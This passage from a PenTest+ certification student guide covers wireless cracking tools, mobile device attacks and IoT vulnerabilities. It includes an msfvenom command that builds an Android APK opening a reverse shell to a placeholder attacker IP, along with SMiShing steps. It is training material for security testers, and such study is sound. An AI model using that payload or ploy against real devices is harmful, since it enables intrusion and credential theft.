detector, and intrusion detection system.
Discovering Kismet
Kismet is included in Kali Linux and has many different functions. In addition to
capturing packets, it can also act as a wireless intrusion detection system. Once up
and running, Kismet will search for wireless networks and identify what device is
transmitting the traffic. In addition, if Kismet captures any handshake packets, it will
preserve them to attempt to crack the password later.
Kismet primarily works on Linux and OSX on most Wi-Fi and Bluetooth interfaces.
In addition to specialized adapters, it can also capture traffic when using software
defined radio (SDR) devices. While it’s possible to run Kismet on Windows, using the
Windows Subsystem for Linux (WSL) framework, you will need to run it remotely on
a Kismet capture source, such as a Wi-Fi pineapple.
Another tool used to test a wireless network is Wifite2. Let’s take a look.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
240 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
One tool that can either spoof or clone a Bluetooth device is Spooftooph. Keep in
mind, before making any changes to a Bluetooth adapter, you must run Spooftooph
with root privileges. Once in root, you can do the following:
• Specify or randomly generate the name, class and address.
By spoofing the device, name, class, and address, the device will blend into the
background and hide in plain sight whenever someone scans for Bluetooth devices.
This can be helpful as some Bluetooth devices are paired with interesting or
essential hardware devices, and you can observe the interaction.
Another PenTest exercise the team might attempt is to recover keys. Let’s see what
tools are available to achieve this goal.
Recovering Keys
Wireless security auditing might involve recovering and attempting to crack
the wireless access point key. To prepare for this test, you will complete a few
preliminary steps, such as doing a site survey and putting the interface into
monitor mode.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 241
The one important element that is common when using most Wi-Fi cracking tools
is that you will need an extensive word list to use while testing the strength of the
Wi-Fi password. You can find a list of passwords by going to the Rockyou.txt GitHub
repository. However, there are more available. In addition, many PenTest teams
have created their own word lists to use during the assessment.
As we have seen, the PenTesting team has many tools at their disposal. In this
section, we’ll take a look at Fern, EAPHammer and MDK4. First, let’s see what’s
possible when using Fern.
• Aircrack-NG
• Macchanger
Fern is a commercial product; however, there is a free version as well that offers
limited functionality and is part of the Kali Linux suite of tools. Once you launch the
program, you will see a screen of the Fern toolbox as shown below:
Fern has a user-friendly interface. After putting your adapter into monitor mode,
you can begin the scanning process to find and select a network to test.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
242 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Next, let’s take a look at another tool that the team can use to launch a number of
Wi-Fi related attacks.
• Mode d: will send a deauth to disconnect and disassociate all clients from an AP
As you can see, when using MDK4, the team can launch several attacks on the
WLAN. However, when testing with this tool use caution, as some of the attack
modules can have a serious negative effect on the network.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 243
Review Activity:
Wireless Tools
5
1. The Aircrack-ng suite of utilities is one of the early tools designed for
wireless network security testing. List one or two of the principal tools in
the suite.
2. Wifite2 is a wireless auditing tool you can use to assess the WLAN. List
one or two of the attacks used to retrieve the password of a WAP.
3. List two or three tools that the PenTesting team can use to recover and
attempt to crack a wireless access point key.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
244 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Lesson 10
Summary
4
In this lesson we learned how wireless transmissions can be attacked as they are
sent through the air using a radio wave and are not protected by a bounded media
such as a cable. We covered the many ways we can protect a WLAN. However, we
should test the infrastructure, as there can be several vulnerabilities. We learned
how malicious actors that are in range and direction of a signal could intercept the
signal and launch attacks, such as relay, spoofing, and deauthentication.
We then compared ways to crack the password or PIN, by either attacking WPA
or accessing the WPS PIN. In addition, we reviewed how malicious actors seek to
trick users to join a rogue access point or evil twin. By now, you can recognize that
the PenTest team has several tools at their disposal to test wireless networks. We
reviewed tools such as Reaver, Fern, the Aircrack Ng suite, Wifite, and EAPHammer.
In addition, we discovered methods to test a Bluetooth device as they can be
vulnerable as well.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
Lesson 11
Targeting Mobile Devices
1
LESSON INTRODUCTION
Today, a large percentage of the world uses some type of mobile device. Many
organizations provide corporate-owned or corporate-compliant devices for their
employees. As a result, it’s essential to recognize mobile device vulnerabilities that
include business logic, patching fragmentation, and weak passwords, along with
insecure storage. Because of this, devices can fall victim to several attacks that
can lead to data compromise, such as overreach of permissions and execution of
activities using root. To prevent attacks, the team should test mobile devices using
tools such as mobile security framework and Drozer.
Lesson Objectives
In this lesson, you will:
• Understand the types of vulnerabilities inherent to mobile devices and recognize
the importance of testing organizational equipment.
• Compare security assessment tools for mobile devices that include Postman,
Ettercap, and Frida, along with ApkX and APK Studio.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
246 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Topic 11A
Recognize Mobile Device
Vulnerabilities
2
Mobile devices have replaced computers for managing day-to-day tasks such
as accessing business and cloud-based applications. Along with this widespread
use and convenience comes the threat of an attack against the infrastructure
by accessing sensitive information via an employee’s smart phone or tablet. In
this section, we’ll take a look at the variety of methods companies use to control
access and manage enterprise mobile devices. In addition, we’ll identify the many
vulnerabilities specific to an OS, or to mobile devices in general.
Let’s start with covering the different methods used to deploy mobile devices.
• Choose your own device (CYOD)—much the same as COPE; however, the
employee can select a device from a curated list.
Of all the models, BYOB is usually the most popular with employees. However, it
poses the most difficulty for security and network managers. Since an employee’s
personal property is out of the employer’s control, it is difficult to account for
every threat involved with these devices. As a result, when using this model, the
employee will have to agree on the installation of corporate apps that provide
oversight and auditing.
Regardless of the deployment model, the device must be configured to control
access. Let’s compare some of the methods used to achieve this goal.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 247
Controlling Access
Because of the widespread use of portable devices in an organization, access
control on a mobile device must be a top priority. If a threat actor is able to bypass
the security of a smartphone or tablet, they can potentially gain access to personal
and corporate information. In addition to confidential files that might be stored on
the device, there are often cached passwords for services such as email, remote
access VPN, and/or company portals.
Today, the majority of smartphones and tablets are single-user devices. Access
control will prevent unauthorized users from accessing the device, which can be
accomplished in many ways, that include:
• What you know, such as a password, passphrase, or PIN
• What you have, such as a smart card or Universal Serial Bus (USB) token
• What you are (biometric), such as a fingerprint, iris pattern, facial or voice
recognition
Even with properly implemented access control methods, the device might still
be vulnerable. For example, an employee has downloaded, installed, and given
permission to an app that now leaves the device vulnerable. Or an employee has
failed to install the latest patches and updates that will help improve the security of
the device.
Because of the wide range of possible threats to mobile devices, many
organizations require the client to allow corporate oversight in the form of mobile
device and app management. Let’s explore this concept, next.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
248 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
The management software logs the use of a device on the network and determines
whether to allow it to connect or not, based on administrator-set parameters and
policies. The solutions are often cloud-based platforms that allow administrators to
work from a centralized console and provide remote access to managed devices.
Common features include:
• Enrolling and authenticating devices
Identifying Vulnerabilities
A vulnerability is a weakness or flaw that can be exploited by a threat in order to
modify the integrity of a system. When dealing with mobile devices, there are a
number of different vulnerabilities. Some occur during development, some while
using the device, and others are a result of user interaction. In this section, we’ll
review some inherent weaknesses that exist in either iOS or Android smartphones,
and then cover threats common to all mobile devices.
Let’s start with a review of vulnerable characteristics of iOS and Android devices.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 249
Many of the threats occur because users obtain apps from an unofficial source
rather than from the Google Play store. This is because when using an Android
device, the user can download an app from any source. If there isn’t a way to check
the validity of an app, a user might inadvertently download and install a bogus app
instead of a legitimate one. Once installed, the app can steal the user’s credentials
or gain root access to the device.
However, when using an Apple iPhone, you can only download apps from the
official App Store. To circumvent this restriction, users jailbreak their phone, which
removes the protective seal and any OS specific restrictions to give users greater
control over the device. Jailbreaking poses a significant threat. Once a device is
jailbroken, any application can read and write to the root file system. In addition,
the OS will run unsigned code, which is normally prevented by Apple.
In addition to general OS vulnerabilities, there are several threats related to the
business logic process. Let’s review this concept, next.
Another threat that can affect a mobile device is patching fragmentation. This can
occur, as in many cases, device updates are not implemented in a timely manner.
In addition, an older mobile device may not be updated at all. Outdated browsers
are common on mobile devices, as unlike a standard laptop, these browsers do
not get consistent updates. This fragmented approach can lead to individuals using
unsupported versions that leave the system vulnerable.
Other issues related to mobile devices that can affect the business logic process
include the following:
• Lack of antimalware protection—Not only can malware infect a user’s device,
but it could likewise spread throughout the network when the device connects.
Many mobile devices lack built-in anti-malware software.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
250 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 251
Review Activity:
Mobile Device Vulnerabilities
3
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
252 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 253
Topic 11B
Launch Attacks on Mobile Devices
4
Today, over one-half of the world’s population uses some type of portable
electronic equipment. Along with this growth comes the continued evolution of
threats. Devices include smartphones, tablets, and wearables, all of which can be
susceptible to an attack.
In this section, we’ll take a look at some of the threats to mobile computing devices
that take advantage of vulnerabilities. We’ll then drill down on how malicious
actors can hijack a Bluetooth signal to launch a Bluejacking or Bluesnarfing attack.
Finally, we’ll see that because of the prevalence of mobile devices, we need to
be aware of possible malware attacks that can take place. We’ll then learn how
cybersecurity professionals discover how malicious software works by reverse
engineering the process.
Let’s start with a review of attacks on mobile devices.
• Worms—are a virus sub-class that have the ability to spread without any help
from a transport agent such as an email attachment.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
254 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
The results of malware can be as simple as a new icon, or more serious results such
as disabling antivirus or destroying files.
In addition to malware, features that make a mobile device more secure can pose a
risk as well. For example, biometric integration on a mobile device can be a two-
edged sword. If properly implemented, a biometric (such as a face or fingerprint)
can be a more secure option for authenticating into a system. However, a poorly
designed device might allow a malicious actor to spoof the system by presenting a
forged biometric, which will allow access to the device.
We can also see execution of activities using root, which can occur when the
user roots or jailbreaks their system to improve the performance of the device. In
most cases, this action will leave the system vulnerable to an attack. For example,
if a user roots a device to install a game, the game and any malicious code can
now have unfettered access to root permissions and can take complete control
of devices.
Related to this type of attack is over-reach of permissions, as it’s often up to
the individual to decide what services to access when downloading and installing
an app. Instead of using the principle of least privilege, a consumer may feel it is
necessary to allow an app to access services and data stores that are generally
restricted. It’s best to read the EULA before installing any software as hidden
language concerning other programs that might be included in the download. If you
do not agree, you most likely won’t be able to use the main program. In some cases,
anti-malware protection will block the install anyway.
Social engineering has evolved over the years, and the widespread use of mobile
devices have improved as well. Let’s see how malicious actors are counting on you
to click on a link.
• SMiShing is a form of phishing that uses text messages to entice users to click
on a link or provide information.
• Drive by downloads can occur while browsing the internet, as a victim can
click on a link that will download malicious software. Many times, the victim is
unaware of this activity.
• Spamming is sending unsolicited ads and calls to a mobile user, which can be
done either by using a text or phone call.
• Browser Hijackers take a web request and send it to another search engine or
display persistent advertising, with the goal of stealing information.
The term SMiShing stems from the acronym Short Message Service (SMS), which is a
method used to send text messages to mobile phone users.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 255
When using social engineering on a mobile device, the attack phase is much the
same as any attack in that the malicious actor will generally complete the following
steps:
1. Research some type of ploy that will get the victim to click on a link or
complete some action. For example, use a current event or urgent notification
that might possibly alarm the victim.
4. After the attack is over or has played out its useful life, remove all traces of the
attack, such as any bogus ecommerce sites.
As shown in the graphic, the malicious actor can launch a SMiShing attack with a
believable message to get the victim to click on a link:
In this case, the malicious actor has sent a bogus notification that the victim has
placed a significant Amazon order. Once the victim clicks cancel, the link will take
them to a bogus Amazon site, where the goal is to obtain user credentials.
Mobile devices can also fall victim to spyware. Spyware comes in many different
categories; all can pose a serious problem as they are designed to track your usage
and capture passwords and data. A victim can get spyware on a phone by someone
having physical contact with the device, or by sending a text message with a
hyperlink, which can then download the spyware.
Once installed, spyware can monitor all types of activity such as text messages,
social media posts, and phone calls, along with websites that were visited.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
256 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Many times, a user will pair their mobile phone with a Bluetooth-enabled device,
such as ear buds, keyboards, or game controllers. Malicious actors have found
a way to intercept the signals between the devices, to steal data, or download
malware. Let’s explore this concept.
However, many of us don’t follow best practice guidelines, which can allow a
malicious actor to launch an attack against a Bluetooth device. Let’s first take a look
at how a Bluejacking attack works.
Bluejacking a Signal
Bluejacking is a method used by attackers to send out unwanted text messages,
images, or videos to a mobile phone, tablet, or laptop using a Bluetooth connection.
Bluetooth requires relatively close proximity, usually within 30 feet of the target
device to be effective. However, in a busy area such as an airport, this attack is
possible.
In most cases, a Bluejacking attack is typically just an annoyance. However,
bluejacking can be used as a vector to carry out more insidious attacks. For
example, you might be able to socially engineer a user into downloading malware
or provide access credentials if you send a convincing message to their device over
Bluetooth. The user may be more inclined to trust the message since Bluetooth is
not as common as text or email-based phishing vectors.
Bluejacking does not require any specialized tools and can be simply performed
by sending a message to nearby, discoverable devices using the attacking device’s
Bluetooth app.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 257
Installing Malware
When dealing with malware, the approach you take will depend heavily on the
mobile platform the devices are using.
The iOS platform is more restrictive and therefore has fewer opportunities for
exploitation. By default, iOS devices can only install apps from the official App
Store, which has some measure of quality control to keep malware out. However,
jailbreaking an iPhone enables devices to install apps from third-party sources,
which might contain malware.
The Android OS is much less restrictive than iOS by design, and a change of a single
setting can make it possible for the device to install apps from third-party sources.
The rooting process reduces the device’s security even further. Once rooted, apps
will be able to run outside of their sandbox environments, assume high-level
privileges, and be able to interact with the kernel and other apps on the device. This
can then enable a malicious actor to exfiltrate sensitive data, capture session
information, and even leave a device non-functional.
The following example uses a tool called msfvenom, part of the Metasploit
Framework, to create a malicious app package for Android devices:
msfvenom -p android/meterpreter/reverse_tcp
LHOST=<attacker IP address> LPORT=<available port> R
> malware.apk
This creates a reverse TCP listener back to the attacker’s machine and saves it as an
app package, or APK file.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
258 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Assuming the user enables installation of apps from unknown sources, they simply
need to run the installer to infect their device. On the attack machine, a malicious
actor will set up Metasploit to handle the incoming connection by opening a shell
onto the device.
One of the best ways to protect a system is to understand the threats. Two common
techniques used to dissect a threat are reverse engineering and sandbox analysis.
Analyzing Malware
When dissecting malware, reverse engineering will step through the code to see
what happens when the code is run on a device. One significant effort is a forensic
analysis on a specific type of malware, completed by scientists to see how the code
works. This effort helps identify vulnerabilities which are then used to help prevent
future attacks.
Sometimes the simplest way to learn what happens when a virus executes is
to put it in a sandbox and let it run. Sandbox analysis is using virtualization to
provide a safe environment to analyze malware. You can create a sandbox using a
virtual machine, or use a pre-made sandbox designed to provide a full analysis of
malware activity.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 259
Review Activity:
Attacks on Mobile Devices
5
3. Describe how sandbox analysis can help you understand what happens
when a virus executes.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
260 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Topic 11C
Outline Assessment Tools
for Mobile Devices
Mobile devices are widely used, yet many have several flaws that can expose a
device to an attack. Unlike a threat, which we have no control over, we can minimize
vulnerabilities in most cases. The first step involves testing the device. Today, the
security analyst has a number of tools available to test and troubleshoot devices.
Some are proprietary; however, many are free.
In this section, we’ll cover some of the tools and frameworks available to test
mobile devices for security issues. We’ll outline some of the ways we can
examine code with Frida and Objection, and then summarize the ways we can
evaluate the behavior of an Application Programming Interface (API) using
Postman.
Let’s start with an overview of the security frameworks and suites available to the
PenTesting team.
Providing a Framework
A large number of businesses use portable devices. As a result, it’s in a
company’s best interest to PenTest their mobile devices. The team should assess
vulnerabilities such as weak or missing authentication, patching fragmentation,
and insecure code.
The two predominant mobile developers are Android and iOS. Although the two
have similar functionality, the two are different in the following ways:
• Apple takes pride in its closed-end design and more secure nature.
• Android has a huge market share with a wide range of choices for hardware and
apps.
Regardless of the manufacturer, there are plenty of testing tools available for either
Android or iOS devices. One way to approach development and testing is by using a
framework or model during the life cycle of the device.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 261
there are generally some common elements when dealing with mobile devices, as
shown in the graphic below:
To achieve these goals, there are several options that include tools and guidelines
that are part of a suite. Let’s investigate some of the choices available.
Selecting a Suite
Because of the prevalence of mobile devices, there have been many advances in
the types of testing tools available today. Some of the suites include Kali Linux,
the Mobile Security Framework (MobSF), and the OWASP Mobile Security Testing
Guide (MSTG).
Kali Linux
When you need a suite of tools that has built-in apps designed to conduct
penetration testing on a variety of devices, many will turn to Kali Linux. Kali is
updated frequently by Offensive Security and includes applications such as:
• Ettercap isa suite of tools that can be used to launch various types of Man in
The Middle (or on-path) attacks.
• Android SDK tools have packages so you can design, build, and test mobile apps
for Android devices along with reverse engineering an existing device.
• Burp Suite is an integrated platform for testing web applications along with a
mobile assistant designed to test iOS devices.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
262 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Another option that provides a comprehensive structure for testing is the Mobile
Security Framework.
In addition to providing extensive checklists, you’ll also find hyperlinks for external
resources. All requirements are outlined in an easy-to-read spreadsheet format, as
shown below:
Part of PenTesting might require the team to examine the code for vulnerabilities.
Let’s see what options we have for tools when reverse engineering code.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 263
• In-process fuzzing
When using Frida, the PenTest team can also use another powerful tool, Objection,
a runtime exploration toolkit that works on iOS devices. Objection is a scriptable
debugger that allows you to perform various security related tasks on unencrypted
iOS applications.
With Objection, the team can run custom Frida scripts and interact with the
filesystems on non-jailbroken iOS devices. It uses Frida to inject objects into an
application and then monitors the behavior. You can also simulate a jailbroken
environment and observe an iOS application within the existing constraints of a
sandbox environment or dump the iOS keychain.
In addition to Frida and Objection, let’s see what other choices we have if tasked
to examine the behavior of executables.
Debugging Applications
During the PenTest process, the team might need to decompile executables
and observe their behavior. Drozer is open-source software used for testing for
vulnerabilities on Android devices. Drozer is an attack framework that allows you to
find security flaws in the app and devices. It works as a client-server model and lets
you assume the role of an Android app so you can observe the behavior of the app
as it interacts with other apps.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
264 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
An APK file is an app designed to run on an Android device. Two Android application
decompilers that work with APK files are the APKX tool and APK Studio, and these
can be used to monitor the behavior of an APK file. The difference is as follows:
• APKX tool is an Android APK decompiler that allows you to pull and analyze the
Java source code to see what’s going on inside.
In addition to evaluating the source code, the team may also need to assess the
Application Programming Interface (API) requests. Let’s see how Postman can help
with this process.
While many of the attacks can be avoided by user education and good practice
techniques, it’s essential to actively test devices for vulnerabilities. As we have seen,
there are many tools that can help with this process.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 265
Review Activity:
Assessment Tools for Mobile Devices
4
2. Prior to deployment, it’s good practice to test any APIs in your project.
One tool that the team can use is Postman. List three or fours tasks you
can do with Postman.
3. Some tools work in symphony with one another. Two examples are
the tools Frida and Objection. Explain how you would use Frida and
Objection when PenTesting.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
266 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Lesson 11
Summary
4
In this lesson we took a look at mobile device vulnerabilities and recognized how
our devices have many of the same threats as a standard operating system. Threats
include viruses, worms, trojans and spyware, which can impact the security of our
personal and organizational data. We learned the importance of controlling access
to resources and managing enterprise mobility. We then compared the different
mobile platforms and saw how, if mobile devices are not properly secured, they can
have a negative impact on business logic processes.
We then reviewed some of the attacks on mobile devices such as malware,
phishing, Bluejacking, Bluesnarfing and over-reach of permissions. By now you
can understand because of the widespread use of mobile devices, many malicious
actors use social engineering as a way to gain access to protected resources. Finally,
we saw that there are several tools to assess the security of mobile devices, and
reviewed tools such as Ettercap, Frida, Objection and Postman.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
Lesson 12
Attacking Specialized Systems
1
LESSON INTRODUCTION
In addition to equipment that uses a standard operating system, there are also
various specialized systems that are susceptible to attack. A thorough penetration
test will include an assessment of the Internet of Things (IoT) devices, data storage
systems, and virtualized environments. It’s important to recognize not only the
vulnerabilities, but the possible attacks on these systems. In addition, you should be
familiar with the tools used to test these devices.
Lesson Objectives
In this lesson, you will:
• Illustrate the many vulnerabilities of IoT devices, along with the variety of attacks
that can be used to gain access to the device.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
268 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Topic 12A
Identify Attacks on the IoT
2
The Internet of Things represents the billions of devices that are all around us, such
as smart watches, doorbells, refrigerators, cars, and cameras. Today, there are over
eight IoT devices for every human on earth that are talking to us and to each other.
While the IoT holds exciting promise, it’s important to recognize the fact that many
IoT devices have several vulnerabilities which can lead to an attack. In this section,
we’ll gain a better understanding of the IoT along with the attack surface in the
ecosystem. We’ll then take a look at common vulnerabilities, along with some of the
possible attacks that can occur when using an IoT device.
Let’s start with an overview of the IoT.
IoT devices, such as a smart TV, are appliances with integrated computer
functionality that includes apps, storage, and networking. Custom smart device
apps on a TV might implement social networking or games, while apps for a
refrigerator might have an interactive shopping list or alert when supplies are low.
Home automation technology makes heating, lighting, alarms, and appliances all
controllable through a network interface or device with voice control functionality.
Next, let’s see what’s involved when producing an IoT device.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 269
IoT ecosystem
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
270 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
The attack surface is all the points at which an adversary could interact with the
system and launch an attack. For example, we see the following elements that can
potentially be compromised:
1. The IoT device, such as an automobile, health monitor, or camera
4. The business logic and decision engines along with data storage
As we can see, there are many areas in the rapidly growing IoT attack surface
that can have one or more vulnerabilities, which can lead to an attack on the
infrastructure.
Next, let’s review some of the IoT vulnerabilities.
Outlining Vulnerabilities
IoT devices are notorious for their poor security, and several major exploits have
been seen in the wild.
The devices can have vulnerable components that can be exploited by a malicious
actor to gain access to the infrastructure. In addition, vulnerabilities can lead to
data leakage of sensitive information. First, let’s investigate how each IoT device is
comprised of several components, many of which can be vulnerable.
• Poorly designed code—can lead to an attack that can include buffer overflows,
SQL injection, SYN flood, and privilege escalation.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 271
Next, let’s see how poorly secured IoT devices can result in the exposure of sensitive
data.
BLE devices only transmit in a short range, which can make PenTesting the device
difficult. However, because of the widespread use of BLE devices, it’s best to include
an assessment of devices that use BLE in the PenTest.
While it’s obvious that IoT devices are vulnerable, we must also be aware of the
attacks that involve IoT devices.
Triggering an Attack
In addition to the potential for an IoT device being attacked, a device can be
weaponized to launch an assault, such as a Denial-of-service attack. In addition,
malicious actors are now seeking ways to leverage IoT protocols, such as CoAP and
MQTT, to launch an attack.
Let’s see how it’s possible to weaponize an IoT device.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
272 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
One example is the Mirai bot, which was malware that spread to thousands of IoT
devices like IP cameras and baby monitors that still had their default credentials set.
These infected devices formed a large botnet that triggered several high-profile DoS
attacks, including taking down name servers operated by Dyn, a DNS provider for
Amazon, Twitter, GitHub, and other large companies.
When dealing with an IoT device, one concern is that of availability. Next, let’s see
how we can render an IoT device useless by not allowing it to have a rest cycle.
Denying Sleep
IoT devices are small and have minimal power reserves using a small battery. If a
device can be accessed without authorization, a malicious actor can launch a Denial
of Sleep attack. This attack continuously sends signals to the device, requiring the
device to (continuously) respond and prevents the device from resting or sleeping,
which then drains the battery.
Once a malicious actor has modified the integrity of an IoT device, this can lead to
either data corruption, where the contents are modified in transit or exfiltration, or
where the data leaves the device in an unauthorized manner.
IoT devices connect with one another using Wi-Fi, Bluetooth, and Near Field
Communication (NFC). Many times, they use lightweight protocols to communicate
with one another. However, IoT protocols can be vulnerable as well.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 273
• Spoofing is possible because UDP does not use a handshake, and a rogue
endpoint can read and write messages. This can have a greater implication, for
example, when getting the device to accept malicious code.
• Packet amplification is an attack where a malicious actor will first search for a
list of abusable IP addresses. Once obtained, the next step is to send a flood of
UDP packets to a DNS server where the source IP address is set as the victim. A
DNS response is always larger than the request. The flood of responses results
in packet (and bandwidth) amplification.
• Data modification, which can occur if a malicious actor obtains the traffic while
data is being transferred between devices during a MiTM attack. The malicious
actor can then modify the data, which is an attack on integrity.
• Joining a botnet, using Shodan, a malicious actor can search for and poison
unsecured IoT devices using MQTT so they can become a part of a botnet. This
can lead to an attack on availability.
The team must keep in mind if planning an invasive attack, such as a Denial of
Service (DoS attack), as part of the testing, to have the stakeholder define any
restrictions that might impact fragile systems.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
274 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Review Activity:
3
3. One attack an IoT device can suffer is a Denial of Sleep attack. Explain
how this works.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 275
Topic 12B
Recognize Other Vulnerable Systems
4
Within an organization, there are many times other specialized systems might be
included in the PenTest exercise. In this section, we’ll outline commonly employed
data storage systems and control systems, along with some of the vulnerabilities
that can exist.
First, let’s review some of the ways we store data.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
276 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Many times, a data center will house one or more SANs and will most likely have
cloud backup for redundancy.
The configuration of the data center is to isolate the servers in a separate
subnetwork and provide a central location to manage assess to the servers. Network
administrators can then secure, filter, and prioritize traffic.
Because of the wide variety of storage options, it’s easy to overlook weaknesses
that may be obvious to a malicious actor that can lead to compromise. As a result,
it’s essential to inventory and test sensitive storage systems during the PenTest.
In addition to data storage systems, an organization may also have control systems
in place. Let’s explore this concept next.
One of the roles of an ICS is that it can control critical infrastructure resources, such
as water, electrical grids, transportation, telecommunication, and health services.
If critical infrastructure resources are damaged or destroyed, this will cause
significant negative impact to the economy, public health, safety, and security of a
society.
Many ICSs were established years before security standards were established, and
as a result, are considerably outdated. As more ICSs are being incorporated into an
organization’s TCP/IP network, there is greater opportunity for exploitation.
For either storage systems or ICS, there can be many issues that can lead to an
attack.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 277
Identifying Vulnerabilities
When a system is not properly secured, this can leave the data vulnerable to an
attack that includes:
• Denial of Service
• Social engineering
• Physical attack
A malicious actor can gain access to a system in one of several ways. Next, let’s
review some of the vulnerabilities common to either storage systems or ICS.
Handling Errors
When writing code or configuring a system, a programmer might include error
messages that can help during the troubleshooting process. However, in some
cases, error messages might provide too much detail, and a malicious actor can use
the information to leverage an attack.
Error and debug messages can expose user credentials, software version, and
configuration settings. For example, the following error message will provide the
full pathname:
warning.setText("WARNING: Could not connect to
management server at " + fullpathname)
This information could lead to a Directory Traversal attack, which can allow access
to commands, files, and directories that may or may not be connected to the web
document root directory.
While error messages are beneficial when getting to the root of the problem, the
end user does not have to have that level of detail. A better approach would be to
offer minimal information, for example by displaying the following:
"Unable to connect, please contact support."
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
278 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Once run, the fuzzer will search for objects and report the findings, as shown in
the table:
URL Summary
/example/login.php Admin login page/section found
/example/.git/config Git config file found
/example/config Directory indexing located
Report presented after running fuzz test
While fuzzing will help identify many vulnerabilities, another approach is to use
feedback-based fuzzing. This type of fuzzing is a more interactive method that can
identify SQL injection vulnerabilities.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 279
Review Activity:
Other Vulnerable Systems
5
